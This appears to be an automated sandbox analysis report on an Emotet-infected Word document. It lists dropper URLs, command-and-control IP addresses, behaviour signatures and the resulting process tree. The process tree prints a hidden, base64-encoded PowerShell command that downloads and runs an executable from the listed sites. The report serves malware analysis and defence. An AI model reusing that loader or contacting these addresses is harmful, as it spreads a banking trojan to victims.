Overview

overview

10

task1

 

10

task2

 

10

Analysis

  • max time kernel
    106s
  • resource
    win7v191014
  • submitted
    18-12-2019 03:54

Sharing

Copy URL
Twitter E-mail

General

  • Target

    Docs_8f05c3158a5b919ecee4db5ccc5f18ba.16

  • Sample

    191218-tsqgqz8wcn

  • SHA256

    7b8418e3fb1a5e4800d0fefdc6360543f071110e3d0e7a8de9fd4c160337e8f1

Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://gobabynames.com/dz6r/xytx7/
exe.dropper

http://nhomkinhthienbinh.com/cgi-bin/yW/
exe.dropper

http://capitalcitycarwash.com/komldk65kd/7tz/
exe.dropper

http://compscischool.com/wp-content/8a1n/
exe.dropper

http://gianphoisonghong.com/wp-includes/AUWxwq1V2s/

Extracted

Family

emotet

C2

173.247.19.238:80

174.81.132.128:80

211.44.35.111:80

165.227.156.155:443

167.99.105.223:7080

67.225.179.64:8080

176.31.200.130:8080

104.131.11.150:8080

68.118.26.116:80

190.226.44.20:21

120.150.246.241:80

92.222.216.44:8080

73.214.99.25:80

110.142.38.16:80

24.93.212.32:80

190.53.135.159:21

66.209.97.122:8080

173.91.11.142:80

100.14.117.137:80

2.237.76.249:80
rsa_pubkey.plain

Signatures

  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Modifies registry class 144 IoCs
  • Emotet

    Emotet is a trojan that is primarily spread through spam emails

    trojanbankeremotet
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • Executes dropped EXE 4 IoCs
  • Suspicious behavior: EmotetMutantsSpam 2 IoCs
  • Drops file in System32 directory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Docs_8f05c3158a5b919ecee4db5ccc5f18ba.16.doc"
    1⤵
    • Suspicious use of FindShellTrayWindow
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Drops file in System32 directory
    PID:996
  • C:\Windows\SYSTEM32\WISPTIS.EXE
    /QuitInfo:00000000000005F4;0000000000000644;
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:2024
  • C:\Windows\SYSTEM32\WISPTIS.EXE
    /QuitInfo:00000000000005F4;0000000000000644;
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:824
  • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
    Powershell -w hidden -en JABIAG0AaAB5AHoAdABvAHkAaABzAGUAPQAnAFoAeABsAG4AcgBoAHAAdQBwAGIAZQBmACcAOwAkAEEAbABxAGEAYwByAGMAagAgAD0AIAAnADIAMQAwACcAOwAkAEUAaAB5AHEAdwBxAGQAZwBhAHIAPQAnAE0AagBqAHkAeQBtAHMAcQBkAHEAJwA7ACQAQQBhAG4AaABrAHMAaQBwAHMAYwBhAGgAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQQBsAHEAYQBjAHIAYwBqACsAJwAuAGUAeABlACcAOwAkAEMAYgB3AHMAawBjAHQAdQBkAGMAPQAnAFQAbgBxAGQAdwBxAGwAdwAnADsAJABKAGkAYgBtAGEAcQB3AHUAbQB0AGcAcwBuAD0ALgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAHcAZQBiAEMAbABpAGUAbgB0ADsAJABFAHEAegBhAGYAaABzAGYAYgBhAGsAPQAnAGgAdAB0AHAAOgAvAC8AZwBvAGIAYQBiAHkAbgBhAG0AZQBzAC4AYwBvAG0ALwBkAHoANgByAC8AeAB5AHQAeAA3AC8AKgBoAHQAdABwADoALwAvAG4AaABvAG0AawBpAG4AaAB0AGgAaQBlAG4AYgBpAG4AaAAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHkAVwAvACoAaAB0AHQAcAA6AC8ALwBjAGEAcABpAHQAYQBsAGMAaQB0AHkAYwBhAHIAdwBhAHMAaAAuAGMAbwBtAC8AawBvAG0AbABkAGsANgA1AGsAZAAvADcAdAB6AC8AKgBoAHQAdABwADoALwAvAGMAbwBtAHAAcwBjAGkAcwBjAGgAbwBvAGwALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwA4AGEAMQBuAC8AKgBoAHQAdABwADoALwAvAGcAaQBhAG4AcABoAG8AaQBzAG8AbgBnAGgAbwBuAGcALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEEAVQBXAHgAdwBxADEAVgAyAHMALwAnAC4AIgBTAHAAYABsAEkAdAAiACgAJwAqACcAKQA7ACQARABrAGYAZABnAHMAbgB6AGkAbwBjAG4AbwA9ACcATAB3AHgAeAB5AGcAagBxAGoAZQBsAHYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEMAagBqAHAAYwBnAHMAaQBmAHEAZgBtACAAaQBuACAAJABFAHEAegBhAGYAaABzAGYAYgBhAGsAKQB7AHQAcgB5AHsAJABKAGkAYgBtAGEAcQB3AHUAbQB0AGcAcwBuAC4AIgBkAGAAbwBgAFcAbgBMAG8AYABBAGQAZgBJAEwAZQAiACgAJABDAGoAagBwAGMAZwBzAGkAZgBxAGYAbQAsACAAJABBAGEAbgBoAGsAcwBpAHAAcwBjAGEAaAByACkAOwAkAE0AZQBpAG0AZgB5AG0AbQBnAHcAYQBnAD0AJwBGAHgAZwB6AHYAagBrAHUAbgB5AHoAcQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEEAYQBuAGgAawBzAGkAcABzAGMAYQBoAHIAKQAuACIATABFAE4AYABnAGAAVABIACIAIAAtAGcAZQAgADMANQAxADYAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABBAHIAVAAiACgAJABBAGEAbgBoAGsAcwBpAHAAcwBjAGEAaAByACkAOwAkAFkAdgB3AHkAZQB2AGoAdQBiAGoAdwBoAHkAPQAnAFcAcgBjAG8AawBtAHkAbAAnADsAYgByAGUAYQBrADsAJABKAHMAcQBrAG0AbwBmAHIAcQA9ACcARABpAHkAegB3AGQAZQBwACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAZQBtAGIAaABvAGYAagA9ACcASgB4AHMAdgBjAHMAagBwACcA
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • Drops file in System32 directory
    PID:1156
    • C:\Users\Admin\210.exe
      "C:\Users\Admin\210.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      • Executes dropped EXE
      PID:2176
      • C:\Users\Admin\210.exe
        --dae88dcf
        3⤵
        • Suspicious use of SetWindowsHookEx
        • Executes dropped EXE
        • Suspicious behavior: EmotetMutantsSpam
        • Drops file in System32 directory
        PID:2192
  • C:\Windows\SysWOW64\nonnetsh.exe
    "C:\Windows\SysWOW64\nonnetsh.exe"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    • Executes dropped EXE
    PID:2260
    • C:\Windows\SysWOW64\nonnetsh.exe
      --5bc99117
      2⤵
      • Suspicious use of SetWindowsHookEx
      • Suspicious behavior: EnumeratesProcesses
      • Executes dropped EXE
      • Suspicious behavior: EmotetMutantsSpam
      • Drops file in System32 directory
      PID:2276

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\210.exe
    Download Submit
  • C:\Users\Admin\210.exe
    Download Submit
  • C:\Users\Admin\210.exe
    Download Submit
  • C:\Windows\SysWOW64\nonnetsh.exe
    Download Submit
  • C:\Windows\SysWOW64\nonnetsh.exe
    Download Submit
  • memory/996-3-0x0000000009780000-0x0000000009784000-memory.dmp
    Filesize

    16KB

    Download
  • memory/996-0-0x0000000006450000-0x0000000006454000-memory.dmp
    Filesize

    16KB

    Download
  • memory/996-2-0x0000000006450000-0x0000000006650000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/996-1-0x0000000006450000-0x0000000006650000-memory.dmp
    Filesize

    2.0MB

    Download
  • memory/2176-32-0x00000000002C0000-0x00000000002D7000-memory.dmp
    Filesize

    92KB

    Download
  • memory/2192-35-0x0000000000260000-0x0000000000277000-memory.dmp
    Filesize

    92KB

    Download
  • memory/2192-36-0x0000000000400000-0x0000000000454000-memory.dmp
    Filesize

    336KB

    Download
  • memory/2260-38-0x0000000000390000-0x00000000003A7000-memory.dmp
    Filesize

    92KB

    Download
  • memory/2276-40-0x0000000000370000-0x0000000000387000-memory.dmp
    Filesize

    92KB

    Download
  • memory/2276-41-0x0000000000400000-0x0000000000454000-memory.dmp
    Filesize

    336KB

    Download